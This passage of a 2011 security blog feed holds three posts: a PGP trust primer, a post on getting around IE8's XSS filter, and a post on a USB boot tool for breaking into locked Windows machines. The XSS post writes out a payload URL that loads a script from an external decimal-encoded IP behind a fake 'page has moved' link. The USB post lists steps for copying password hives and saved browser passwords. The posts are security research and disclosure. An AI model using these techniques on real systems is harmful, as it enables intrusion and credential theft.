<li>If I receive a message from you, it must be signed with your public key (that I know belongs to you). Vice-versa for messages you receive from me.</li>
</ul>
<p>There are multiple models for establishing trust. One popular model involves what is called a Certificate Authority. In this model, everyone has the public key of a trusted entity known as the Certificate Authority. You send your public key to the Certificate Authority in what is known as Certificate Signing Request. The Certificate Authority then verifies your identity (by some other means) and then signs your certificate. When you send me your public key, you also send you certificate signed by the Certificate Authority. I can use the Certificate Authority&#8217;s public key (that I already have and trust) to verify his signature on your certificate, and because your public key is in that certificate, I transfer my trust of the Certificate Authority, through the certificate, to that public key. I now know that public key belongs to you, and can trust that public key with equal trust as I trust the Certificate Authority. This model is referred to as Public Key Infrastructure (PKI). You can have your PGP key signed by a CA, if you want, for a fee.</p>
<p>There is another model for trust, known as the Web of Trust. The easiest way to imagine the Web of Trust is to <em>think of each user as a Certificate Authority</em>. In the Web of Trust, users &#8220;sign&#8221; the public keys of other users whom they verify. We can now base our trust of a public key equally to the amount of trust we place in the users who signed that public key. We place trust in the signers based on our confidence in them to both safeguard their private keys, and properly verify the public keys they sign. That&#8217;s a two part trust there, and it&#8217;s important to understand both of them.</p>
<ul>
<li>If I trust Mark to both safeguard his private key and to only sign public keys he properly verifies, and Mark has signed your key, then I can transfer that trust to your key.</li>
<li>If I trust Mark to safeguard his private key but I don&#8217;t believe Mark uses proper methods to verify other public keys, I will not trust his signature of your key.</li>
<li>If I trust Mark to use proper methods to verify other public keys but do not think Mark properly safeguards his key, I will not trust his signature of your key.</li>
</ul>
<p>The &#8220;Web&#8221; part of the Web of Trust comes from the &#8220;filtering&#8221; down of this trust. Imagine I trust Mark fully, and Mark trusts Steve fully. If Steve signs Katie&#8217;s key, then I will trust Katie&#8217;s key. There is more to the Web of Trust, <em>but if you just understand the concepts discussed above then you (and I) will be OK.</em></p>
<h2>Verifying/Signing Public Keys</h2>
<p>There are two very important parts to verifying a public key before you sign/trust it.</p>
<ul>
<li>You must be certain the other person is who they say they are.</li>
<li>You must be certain the method in which they are giving you their public key is one that can not be intercepted and modified.</li>
</ul>
<p>The easiest way to do this is to meet the person face-to-face, exchange multiple forms of identification (a passport and driver&#8217;s license, for example), and then exchange fingerprints of public keys. <a href="http://en.wikipedia.org/wiki/Key_signing_party">You can make it into a party</a>.</p>
<p>If you already know the person well enough to be certain of their identity, then any method which can not be intercepted and modified will suffice. IE: you could meet them face-to-face (this is always preferred). Another method I sometimes use is a webcam chat with someone I know where I simultaneously write out, in view of the camera, and vocally speak each letter of the fingerprint.</p>
<h2>Safeguarding your Key</h2>
<p>In addition to verifying the keys of others, you must also safeguard your own private key. <strong>Losing your private key can have severe consequences relative to the amount of trust other people have placed in your ability to safeguard it.</strong> In this context, &#8220;losing,&#8221; your private key means someone else has a copy of your private key. You may (and most likely will) still have your private key. You must maintain control of your private key at all times. Do not use your private key on insecure machines. Other people are counting on you to maintain your key.</p>
<p>Here is a list of acceptable places to use/store your private key to decrypt and sign emails:</p>
<ul>
<li>On a computer that you, and you alone, control, that other people do not and will not tamper with, and that you keep patched and secure.</li>
<li>On an encrypted piece of removable storage</li>
</ul>
<p>Here is a list of unacceptable places to use/store your private key to decrypt and sign emails, <strong>REGARDLESS OF HOW BADLY YOU NEED/WANT TO SIGN AND/OR DECRYPT AN EMAIL</strong>:</p>
<ul>
<li>A computer that is owned by your university/employer/government/friend/parents.</li>
<li>That computer, that you own, in your living room, that your Aunt Susie uses to read emails and play bejeweled on when she visits every other Tuesday.</li>
<li>Your smartphone (especially iPhone/Android). <em>(CEO, Here is a bunch of details of our company&#8217;s intellectual property that we would be ruined if our competitors discovered. Don&#8217;t worry, this email is encrypted. Sincerely, Employee &#8212; sent from iPhone).</em></li>
<li>On an unencrypted thumbdrive (or any other unencrypted removable media). <a href="http://en.wikipedia.org/wiki/Wear_leveling">Ever</a>.</li>
</ul>
<h2>A quick understanding of how PGP encrypts/signs your messages</h2>
<p>First, there are a <strong>lot</strong> of considerations when implementing a cryptographically secure solution like PGP. The quality of random numbers, side-channel attacks, padding and many other considerations are all taken into account. Don&#8217;t try a homebrew solution.</p>
<p>To encrypt a message, PGP will first encrypt the message with a symmetric encryption algorithm such as AES and a random key. This is because symmetric encryption is fast. PGP will then encrypt the random key with your public key. It will send the symmetrically encrypted text, along with the asymmetrically encrypted key, to you. You decrypt the key, and then decrypt the text.</p>
<p>To sign a message, PGP will cryptographically hash your entire message. This is because cryptographic hashes are fast. Now, remember when we said you really had four keys instead of two? Well, you have a separate pair of signing keys. With your signing keys, your &#8220;encryption&#8221; or signing key is kept secret, and your &#8220;decryption&#8221; or verifying key is public. You use your private signing key to encrypt the cryptographic hash of the message. You send the encryption of the cryptographic hash with the message. Whomever receives your message can hash it, and then use your public verifying key to decrypt your signature. If the decrypted hash from the signature matches the hash the recipient generated of your message, then message is valid. In this case, valid means the recipient knows the message came from you and was not modified in any way.</p>
]]></content:encoded>
			<wfw:commentRss>http://myw3b.net/blog/index.php/2011/03/a-basic-introduction-to-communicating-securely-with-pgp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IE8 and reflective XSS</title>
		<link>http://myw3b.net/blog/index.php/2011/02/ie8-and-reflective-xss/</link>
		<comments>http://myw3b.net/blog/index.php/2011/02/ie8-and-reflective-xss/#comments</comments>
		<pubDate>Wed, 02 Feb 2011 07:11:10 +0000</pubDate>
		<dc:creator>endeavormac</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://myw3b.net/blog/?p=436</guid>
		<description><![CDATA[I just came across this post talking about a reflective XSS attack on google that only worked on IE 6/7. I&#8217;m going to make an assumption and assume this is due to Internet Explorer 8&#8242;s resistance to reflective XSS. I also came across this issue about a week ago and thought I would share some [...]]]></description>
			<content:encoded><![CDATA[<p>I just came across <a href="http://nealpoole.com/blog/2011/02/google-vulnerability-reward-program-xss-vulnerability-in-google-code-static-html/">this post</a> talking about a reflective XSS attack on google that only worked on IE 6/7. I&#8217;m going to make an assumption and assume this is due to <a href="http://msdn.microsoft.com/en-us/library/dd565647%28v=vs.85%29.aspx">Internet Explorer 8&#8242;s resistance to reflective XSS</a>. I also came across this issue about a week ago and thought I would share some findings.<br />
<span id="more-436"></span><br />
While Internet Explorer 8 does stop simple reflective XSS attacks, it does not do such a great job sanitizing links from the same domain. I can only assume this is due to some increased level of trust for links originating from the same site. Anyway, here are some basic rules:</p>
<ul>
<li>&lt;script&gt; tags originating from foreign sites raises an XSS error, and are subsequently sanitized.</li>
<li>If you use src=&#8221;http://.&#8221; inside a script tag you will raise a separate XSS error and input will be sanitized. However, apparently src=&#8221;http://asdf/&#8221; does not trigger this regex. The presence of the . raises the error.</li>
<li>Iframes are not automatically off-limits, but you cannot use the src property within your iframes.</li>
</ul>
<p>With some fudging, I was able to craft the following url:</p>
<p><strong>http://REMOVED_TO_PROTECT_THE_INNOCENT/application_path.cfm?app=&quot;&gt;&lt;h1&gt;&lt;a href=&quot;?app=&lt;SCRIPT SRC=http://1488928516/4029q0&gt;&lt;/SCRIPT&gt;&quot;&gt;This page has moved! Please click here!&lt;/a&gt;&lt;/h1&gt;&lt;iframe width=&quot;1&quot; height=&quot;1&quot;&gt;</strong></p>
<pre class="brush: plain; title: ; notranslate">http://REMOVED_TO_PROTECT_THE_INNOCENT/application_path.cfm?app=&quot;&gt;&lt;h1&gt;&lt;a href=&quot;?app=&lt;SCRIPT SRC=http://1488928516/4029q0&gt;&lt;/SCRIPT&gt;&quot;&gt;This page has moved! Please click here!&lt;/a&gt;&lt;/h1&gt;&lt;iframe width=&quot;1&quot; height=&quot;1&quot;&gt;</pre>
<p>The URL no longer works (apparently), but in short, this is the decimal equivalent of an IP address. Given A.B.C.D, this is the decimal equivalent of:</p>
<pre class="brush: plain; title: ; notranslate">A*(2^24) + B*(2^16) + C*(2^8) + D</pre>
<p>Your browser will accept this decimal representation of an IP address and process it as such.</p>
<p>Because my XSS was located near the top of the page, I was able to open an iframe (which caught the rest of the HTML) and display a giant <a href="#"><strong>This page has moved! Please click here!</strong></a> link. Upon clicking the link, the XSS would successfully execute.</p>
<p>I have no idea if Microsoft will consider this an issue and fix it, but as of last week this was a <i>(albeit less than ideal)</i> way to make some use of those traditional reflective XSS in IE8.</p>
]]></content:encoded>
			<wfw:commentRss>http://myw3b.net/blog/index.php/2011/02/ie8-and-reflective-xss/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>The Boot and Pwner</title>
		<link>http://myw3b.net/blog/index.php/2011/01/the-boot-and-pwner/</link>
		<comments>http://myw3b.net/blog/index.php/2011/01/the-boot-and-pwner/#comments</comments>
		<pubDate>Mon, 31 Jan 2011 02:30:23 +0000</pubDate>
		<dc:creator>endeavormac</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://myw3b.net/blog/?p=407</guid>
		<description><![CDATA[I know this talk took place at Shmoocon, and though I was not able to attend it, I just stumbled across this write up of the material covered. I believe it&#8217;s time to discuss a project of mine from a couple years ago: The Boot and Pwner (affectionately named The Bwner). I&#8217;m tired, so we&#8217;re [...]]]></description>
			<content:encoded><![CDATA[<p>I know <a href="http://www.shmoocon.org/speakers#malicioususb">this talk</a> took place at Shmoocon, and though I was not able to attend it, I just stumbled across <a href="http://www.irongeek.com/i.php?page=security/plug-and-prey-malicious-usb-devices">this write up</a> of the material covered. I believe it&#8217;s time to discuss a project of mine from a couple years ago: The Boot and Pwner (affectionately named The Bwner). I&#8217;m tired, so we&#8217;re going to keep this brief.<br />
<span id="more-407"></span><br />
&lt;skip content=&#8221;forward/pretext/introduction/explanation of why I believe this is relevant&#8221; /&gt;</p>
<p>In order to gain access to machines which I had physical access to for very short, limited amounts of time, but were both locked and had the traditional autorun functionality disabled, I created a live-linux bootable flash drive which performed the following:</p>
<ol>
<li>Boot into a minimalist Linux distro.</li>
<li>Find first bootable NTFS partition and mount it.</li>
<li>Make registry edits (I scripted over <a href="http://home.eunet.no/pnordahl/ntpasswd/">chntpw</a> for this).</li>
<li>Copy files from thumb drive to machine.</li>
<li>Copy files from hard drive to thumb drive (SAM/SYSTEM/SECURITY, perhaps check for things such as database of saved firefox passwords to <a href="http://code.google.com/p/rainbowsandpwnies/wiki/FiremasterLinux">break</a>).</li>
<li>Shut Down.</li>
</ol>
<p>At which point in time I would pull out the thumb drive and walk away. That&#8217;s hard-reset machine (if it&#8217;s on), boot thumb-drive, wait < 60 seconds (no interaction necessary), pull thumb-drive and walk away. A typical user won&#8217;t raise too much fuss if he comes back to a restarted machine (assuming his machine was on to begin with). It&#8217;s that funky computer magic, you know? It does weird things.</p>
<p>I quickly discovered that the steps necessary to force the BIOS to boot from attached USB storage were simple enough to relay to just about ANYONE.</p>
<p>60 seconds too long to stand around and wait? Changing boot orders too complicated for some people? Pop a CD-ROM in there and leave. What&#8217;s your BIOS boot-order? Is your machine connected to the network? Ouch.</p>
<p>Lock your BIOS. Protect your boot order.</p>
<p>&lt;skip content=&#8221;conclusion/thoughts/experience based advice&#8221; /&gt;</p>
]]></content:encoded>
			<wfw:commentRss>http://myw3b.net/blog/index.php/2011/01/the-boot-and-pwner/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using disk: basic (Requested URI is rejected)

Served from: myw3b.net @ 2012-05-19 07:42:50 -->
